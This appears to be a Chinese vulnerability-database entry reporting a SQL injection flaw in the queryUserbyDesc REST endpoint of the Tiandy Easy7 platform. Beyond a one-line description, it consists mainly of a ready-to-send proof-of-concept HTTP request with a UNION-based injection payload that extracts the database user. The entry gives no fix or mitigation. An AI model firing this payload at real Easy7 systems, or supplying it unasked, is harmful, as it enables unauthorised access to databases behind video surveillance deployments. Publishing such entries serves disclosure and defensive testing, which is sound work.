天地伟业Easy7 queryUserbyDesc 存在SQL注入漏洞

日期: 2025-12-03 | 影响软件: 天地伟业Easy7 | POC: 已公开

漏洞描述

天地伟业Easy7平台存在前台SQL注入漏洞，攻击者可获取数据库敏感信息。

PoC代码

GET /Easy7/rest/user/queryUserbyDesc?userDesc=1'+UNION+ALL+SELECT+CONCAT(0x7e,USER(),0x7e),41,41--+- HTTP/1.1

相关漏洞推荐